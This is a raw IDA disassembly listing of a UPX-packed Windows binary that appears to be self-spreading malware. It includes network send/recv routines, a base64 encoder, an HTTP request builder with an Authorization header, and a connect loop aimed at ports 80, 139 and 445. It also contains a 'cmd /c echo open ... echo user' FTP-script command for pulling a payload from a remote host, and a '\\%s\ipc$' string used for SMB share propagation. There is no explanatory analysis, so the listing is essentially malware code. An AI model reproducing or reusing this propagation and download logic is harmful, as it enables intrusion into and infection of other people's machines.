		call	sub_421F56	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_403E58


loc_403E54:				; CODE XREF: sub_403DED+54j
		xor	eax, eax
		jmp	short loc_403E68
; ---------------------------------------------------------------------------


loc_403E58:				; CODE XREF: sub_403DED+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	ds:dword_43C630	; recv


loc_403E68:				; CODE XREF: sub_403DED+69j
		pop	edi
		pop	esi
		leave
		retn
sub_403DED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E6C	proc near		; CODE XREF: sub_403EB1+81p
					; sub_403EB1+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	ds:dword_43C614	; htonl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43C668	; send
		cmp	eax, 4
		jz	short loc_403E96
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_403E96:				; CODE XREF: sub_403E6C+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_43C668	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_403E6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_403EB1(int,void *Src,size_t Size)

sub_403EB1	proc near		; CODE XREF: sub_403F8B+48p
					; UPX0:00404407p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Src		= dword	ptr  0Ch
Size		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+Size]
		lea	ebx, [edi+41h]
		push	ebx		; Size
		mov	[ebp+var_4], ebx
		call	_malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_403EDA
		xor	al, al
		jmp	loc_403F86
; ---------------------------------------------------------------------------


loc_403EDA:				; CODE XREF: sub_403EB1+20j
		push	ebx		; Size
		push	0		; Val
		push	esi		; Dst
		call	_memset
		push	2Fh		; Size
		push	offset dword_4276E4 ; Src
		push	esi		; Dst
		call	_memcpy
		push	8		; Size
		lea	eax, [esi+31h]
		push	offset dword_427714 ; Src
		push	eax		; Dst
		mov	[esi+2Fh], di
		call	_memcpy
		push	edi		; Size
		lea	ebx, [esi+3Bh]
		push	[ebp+Src]	; Src
		mov	[esi+39h], di
		push	ebx		; Dst
		call	_memcpy
		push	6		; Size
		add	ebx, edi
		push	offset dword_4397CC ; Src
		push	ebx		; Dst
		call	_memcpy
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_42765C
		push	ebx
		call	sub_403E6C
		add	esp, 48h
		test	al, al
		jnz	short loc_403F42


loc_403F3E:				; CODE XREF: sub_403EB1+B5j
		xor	bl, bl
		jmp	short loc_403F7D
; ---------------------------------------------------------------------------


loc_403F42:				; CODE XREF: sub_403EB1+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DED
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_403E6C
		add	esp, 1Ch
		test	al, al
		jz	short loc_403F3E
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_403DED
		add	esp, 10h
		mov	bl, 1


loc_403F7D:				; CODE XREF: sub_403EB1+8Fj
		push	esi		; Memory
		call	_free
		pop	ecx
		mov	al, bl


loc_403F86:				; CODE XREF: sub_403EB1+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403EB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_403F8B(int,void *Src,size_t Size)

sub_403F8B	proc near		; CODE XREF: UPX0:004043EDp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
Src		= dword	ptr  0Ch
Size		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_427720
		push	[ebp+arg_0]
		call	ds:dword_423208	; send
		cmp	eax, 48h
		jnz	short loc_403FC6
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_403DED
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403FC6
		cmp	[ebp+var_20], 82h
		jz	short loc_403FCA


loc_403FC6:				; CODE XREF: sub_403F8B+1Bj
					; sub_403F8B+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_403FCA:				; CODE XREF: sub_403F8B+39j
		push	[ebp+Size]	; Size
		push	[ebp+Src]	; Src
		push	[ebp+arg_0]	; int
		call	sub_403EB1
		add	esp, 0Ch
		leave
		retn
sub_403F8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FDD	proc near		; CODE XREF: sub_404029+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_423270
		call	__ftol
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_423268
		fstp	[esp+10h+var_10]
		call	_floor
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	__ftol
		inc	eax
		leave
		retn
sub_403FDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_404029(int,int,__int16,char *Str)

sub_404029	proc near		; CODE XREF: sub_4041CB+24p

var_4C		= qword	ptr -4Ch
var_38		= byte ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= qword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_B		= byte ptr  13h
Src		= dword	ptr  14h

		mov	eax, offset loc_4225F7
		call	__EH_prolog
		sub	esp, 2Ch
		mov	al, [ebp+arg_B]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp+var_38]
		push	edi
		mov	[ebp+var_20], edi
		mov	[ebp+var_38], al
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp+var_4], ebx
		call	sub_403FDD
		cmp	[ebp+var_2C], eax
		pop	ecx
		jnb	short loc_40406B
		push	edi
		push	eax
		lea	ecx, [ebp+var_38]
		call	?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool)


loc_40406B:				; CODE XREF: sub_404029+36j
		cmp	[ebp+10h], edi
		mov	[ebp+var_18], edi
		jbe	loc_404188
		mov	ebx, [ebp+10h]


loc_40407A:				; CODE XREF: sub_404029+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_404084
		push	3
		jmp	short loc_404096
; ---------------------------------------------------------------------------


loc_404084:				; CODE XREF: sub_404029+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40408E
		push	2
		jmp	short loc_404096
; ---------------------------------------------------------------------------


loc_40408E:				; CODE XREF: sub_404029+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_404097
		push	1


loc_404096:				; CODE XREF: sub_404029+59j
					; sub_404029+63j
		pop	ebx


loc_404097:				; CODE XREF: sub_404029+69j
		mov	dword ptr [ebp+var_28],	ebx
		mov	dword ptr [ebp+var_28+4], edi
		fild	[ebp+var_28]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_423280
		fstp	[esp+4Ch+var_4C]
		call	_ceil
		pop	ecx
		pop	ecx
		call	__ftol
		cmp	ebx, edi
		mov	[ebp+var_1C], eax
		jbe	short loc_4040D6
		mov	esi, [ebp+arg_4]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp+var_10]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_4040D6:				; CODE XREF: sub_404029+93j
		mov	cl, [ebp+var_10]
		mov	dl, [ebp+var_10]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp+var_14], cl
		mov	cl, [ebp+var_F]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+arg_4], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp+var_F]
		mov	[ebp+var_13], cl
		mov	cl, [ebp+var_E]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp+var_12], cl
		mov	cl, [ebp+var_E]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp+var_11], cl
		jbe	short loc_404144
		add	[ebp+var_18], eax


loc_404128:				; CODE XREF: sub_404029+119j
		movsx	eax, [ebp+esi+var_14]
		lea	ecx, [ebp+var_38]
		mov	al, ds:byte_42776C[eax]
		push	eax		; char
		push	1		; Size
		call	?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
		inc	esi
		cmp	esi, [ebp+var_1C]
		jb	short loc_404128


loc_404144:				; CODE XREF: sub_404029+FAj
		cmp	[ebp+var_18], 48h
		jb	short loc_404162
		push	[ebp+Src]	; Str
		call	_strlen
		pop	ecx
		push	eax		; Size
		lea	ecx, [ebp+var_38]
		push	[ebp+Src]	; Src
		call	sub_4044BE
		mov	[ebp+var_18], edi


loc_404162:				; CODE XREF: sub_404029+11Fj
		push	4
		pop	esi
		cmp	[ebp+var_1C], esi
		jnb	short loc_40417C
		sub	esi, [ebp+var_1C]


loc_40416D:				; CODE XREF: sub_404029+151j
		push	3Dh		; char
		push	1		; Size
		lea	ecx, [ebp+var_38]
		call	?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)
		dec	esi
		jnz	short loc_40416D


loc_40417C:				; CODE XREF: sub_404029+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40407A
		push	1
		pop	ebx


loc_404188:				; CODE XREF: sub_404029+48j
		mov	esi, [ebp+arg_0]
		mov	al, [ebp+var_38]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
		push	ds:dword_423278
		lea	eax, [ebp+var_38]
		mov	ecx, esi
		push	edi
		push	eax
		call	?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)
		mov	[ebp+var_20], ebx
		and	byte ptr [ebp+var_4], 0
		push	ebx
		lea	ecx, [ebp+var_38]
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
		mov	ecx, [ebp+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_404029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041CB	proc near		; CODE XREF: UPX0:004043D0p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= byte ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		mov	eax, offset loc_422614
		call	__EH_prolog
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_4397BC ; Str
		lea	eax, [ebp+var_1C]
		push	dword ptr [ebp+arg_8] ;	__int16
		xor	ebx, ebx
		mov	[ebp+var_4], ebx
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_404029
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_14]
		mov	byte ptr [ebp+var_4], 1
		lea	esi, [ecx+eax+36h]
		push	esi		; Size
		call	_malloc
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_404215
		xor	bl, bl
		jmp	short loc_404259
; ---------------------------------------------------------------------------


loc_404215:				; CODE XREF: sub_4041CB+44j
		mov	ecx, [ebp+var_18]
		mov	eax, offset dword_423288
		cmp	ecx, ebx
		jnz	short loc_404223
		mov	ecx, eax


loc_404223:				; CODE XREF: sub_4041CB+54j
		cmp	[ebp+arg_10], ebx
		jz	short loc_40422B
		mov	eax, [ebp+arg_10]


loc_40422B:				; CODE XREF: sub_4041CB+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	ds:dword_43C668	; send
		cmp	eax, esi
		jz	short loc_404250
		xor	bl, bl
		jmp	short loc_404252
; ---------------------------------------------------------------------------


loc_404250:				; CODE XREF: sub_4041CB+7Fj
		mov	bl, 1


loc_404252:				; CODE XREF: sub_4041CB+83j
		push	edi		; Memory
		call	_free
		pop	ecx


loc_404259:				; CODE XREF: sub_4041CB+48j
		and	byte ptr [ebp+var_4], 0
		push	1
		lea	ecx, [ebp+var_1C]
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
		or	[ebp+var_4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+arg_C]
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
		mov	ecx, [ebp+var_C]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4041CB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		and	byte ptr [ebp-424h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-423h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-424h]
		push	offset sub_427918
		push	eax
		call	_memcpy
		add	esp, 0Ch
		mov	eax, offset byte_42E664
		push	eax
		push	eax
		push	ds:dword_4397EC
		push	dword ptr [ebp+8]
		call	sub_40AEDB
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp-395h]
		push	400h
		push	eax
		call	__snprintf
		add	eax, 90h
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		push	164h
		lea	eax, [ebp-24h]
		push	offset sub_4277B0
		push	eax
		call	sub_403A87
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp-4], eax
		jnz	short loc_40432C
		xor	eax, eax
		jmp	loc_404458
; ---------------------------------------------------------------------------


loc_40432C:				; CODE XREF: UPX0:00404323j
		mov	[ebp-0Ch], esi


loc_40432F:				; CODE XREF: UPX0:0040442Fj
		test	esi, esi
		jnz	loc_404435
		push	6
		push	1
		push	2
		call	ds:dword_423214	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40441D
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	ds:dword_43C618	; htons
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_43C658	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43C5C0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_404412
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_4043DA
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
		lea	eax, [ebp+0Ch]
		push	eax
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char	const *,uint)
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_4041CB
		add	esp, 1Ch
		jmp	short loc_40440F
; ---------------------------------------------------------------------------


loc_4043DA:				; CODE XREF: UPX0:00404398j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_4043F4
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403F8B
		jmp	short loc_40440C
; ---------------------------------------------------------------------------


loc_4043F4:				; CODE XREF: UPX0:004043E4j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404412
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403EB1


loc_40440C:				; CODE XREF: UPX0:004043F2j
		add	esp, 0Ch


loc_40440F:				; CODE XREF: UPX0:004043D8j
		movzx	esi, al


loc_404412:				; CODE XREF: UPX0:0040438Bj
					; UPX0:004043FEj
		push	ebx
		call	ds:dword_43C6B0	; closesocket
		test	esi, esi
		jnz	short loc_404428


loc_40441D:				; CODE XREF: UPX0:00404348j
		push	3E8h
		call	ds:dword_423060	; Sleep


loc_404428:				; CODE XREF: UPX0:0040441Bj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40432F


loc_404435:				; CODE XREF: UPX0:00404331j
		lea	ecx, [ebp-8]
		call	sub_4038AC
		test	esi, esi
		jz	short loc_404456
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	ds:dword_429CB8[eax]
		lea	eax, dword_429CB8[eax]


loc_404456:				; CODE XREF: UPX0:0040443Fj
		mov	eax, esi


loc_404458:				; CODE XREF: UPX0:00404327j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4225D8


loc_40445D:				; CODE XREF: sub_4225D8+3j
					; sub_4225E0+11j ...
		push	1
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
		retn
; END OF FUNCTION CHUNK	FOR sub_4225D8
; [00000059 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char). PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_4044BE(void	*Src,size_t Size)

sub_4044BE	proc near		; CODE XREF: sub_404029+131p

Src		= dword	ptr  4
Size		= dword	ptr  8

		mov	eax, ds:dword_423278
		push	ebx
		mov	ebx, [esp+4+Size]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4044D8
		call	sub_421E9A


loc_4044D8:				; CODE XREF: sub_4044BE+13j
		test	ebx, ebx
		jbe	short loc_40450D
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool)
		test	al, al
		jz	short loc_40450D
		mov	eax, [esi+8]
		push	ebx		; Size
		push	[esp+10h+Src]	; Src
		add	eax, [esi+4]
		push	eax		; Dst
		call	_memcpy
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40450D:				; CODE XREF: sub_4044BE+1Cj
					; sub_4044BE+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4044BE	endp

; [000000CE BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint). PRESS	KEYPAD "+" TO EXPAND]
; [00000085 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool). PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool).	PRESS KEYPAD "+" TO EXPAND]
; [00000035 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint). PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint). PRESS KEYPAD "+" TO EXPAND]
; [000000BD BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint).	PRESS KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Split(void). PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40484F	proc near		; DATA XREF: UPX0:0042500Co
		jmp	$+5
sub_40484F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404854	proc near
		mov	eax, ds:dword_427BE0
		add	eax, 6
		mov	ds:dword_4397D8, eax
		retn
sub_404854	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_404862(int,char,int,__int16,int,size_t Size,int,void *Src,void *Memory,int,char)

sub_404862	proc near		; CODE XREF: sub_404862+D0p
					; sub_404950+471p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
Size		= dword	ptr  1Ch
Src		= dword	ptr  24h
Memory		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_404876
		or	[ebp+arg_7], 1
		jmp	short loc_40487A
; ---------------------------------------------------------------------------


loc_404876:				; CODE XREF: sub_404862+Cj
		and	[ebp+arg_7], 0FEh


loc_40487A:				; CODE XREF: sub_404862+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+Memory]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40489E
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+Size], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_4048B0
; ---------------------------------------------------------------------------


loc_40489E:				; CODE XREF: sub_404862+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+Size], eax
		mov	[ebp+arg_2B], 1


loc_4048B0:				; CODE XREF: sub_404862+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax		; Size
		mov	[ebp+var_4], eax
		call	_malloc
		test	eax, eax
		pop	ecx
		mov	[ebp+Memory], eax
		jz	loc_404949
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+Size]
		mov	esi, [ebp+Src]
		push	edi		; Size
		add	eax, 18h
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+Memory]
		push	[ebp+arg_0]
		call	ds:dword_423078
		test	eax, eax
		jz	short loc_404940
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_404940
		push	[ebp+Memory]	; Memory
		call	_free
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40493C
		push	0		; char
		sub	ebx, edi
		push	[ebp+arg_24]	; int
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx		; Memory
		push	edi		; Src
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]	; int
		rep movsd
		call	sub_404862
		add	esp, 2Ch
		jmp	short loc_40494B
; ---------------------------------------------------------------------------


loc_40493C:				; CODE XREF: sub_404862+B3j
		mov	al, 1
		jmp	short loc_40494B
; ---------------------------------------------------------------------------


loc_404940:				; CODE XREF: sub_404862+9Cj
					; sub_404862+A4j
		push	[ebp+Memory]	; Memory
		call	_free
		pop	ecx


loc_404949:				; CODE XREF: sub_404862+61j
		xor	al, al


loc_40494B:				; CODE XREF: sub_404862+D8j
					; sub_404862+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_404950(size_t	Size,void *Memory)

sub_404950	proc near		; CODE XREF: UPX0:00404F4Ep

var_60F0	= qword	ptr -60F0h
var_60DC	= byte ptr -60DCh
var_40DC	= byte ptr -40DCh
Dest		= byte ptr -20DCh
Dst		= byte ptr -0DCh
var_C8		= dword	ptr -0C8h
var_BC		= byte ptr -0BCh
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_B6		= byte ptr -0B6h
var_B5		= byte ptr -0B5h
var_B4		= dword	ptr -0B4h
var_B0		= word ptr -0B0h
var_AE		= word ptr -0AEh
var_AC		= dword	ptr -0ACh
var_A8		= word ptr -0A8h
var_A6		= word ptr -0A6h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= word ptr -9Ch
var_9A		= byte ptr -9Ah
var_98		= byte ptr -98h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_74		= dword	ptr -74h
Src		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5C		= byte ptr -5Ch
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Size		= dword	ptr  8
Memory		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 60DCh
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		push	offset a_	; "."
		push	[ebp+Size]
		call	unknown_libname_4 ; Microsoft VisualC 2-8/net runtime
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		jz	short loc_4049C3
		push	[ebp+Size]
		mov	esi, 2000h
		lea	eax, [ebp+Dest]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	20h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Dest]
		add	esp, 1Ch
		mov	[ebp+var_C8], eax
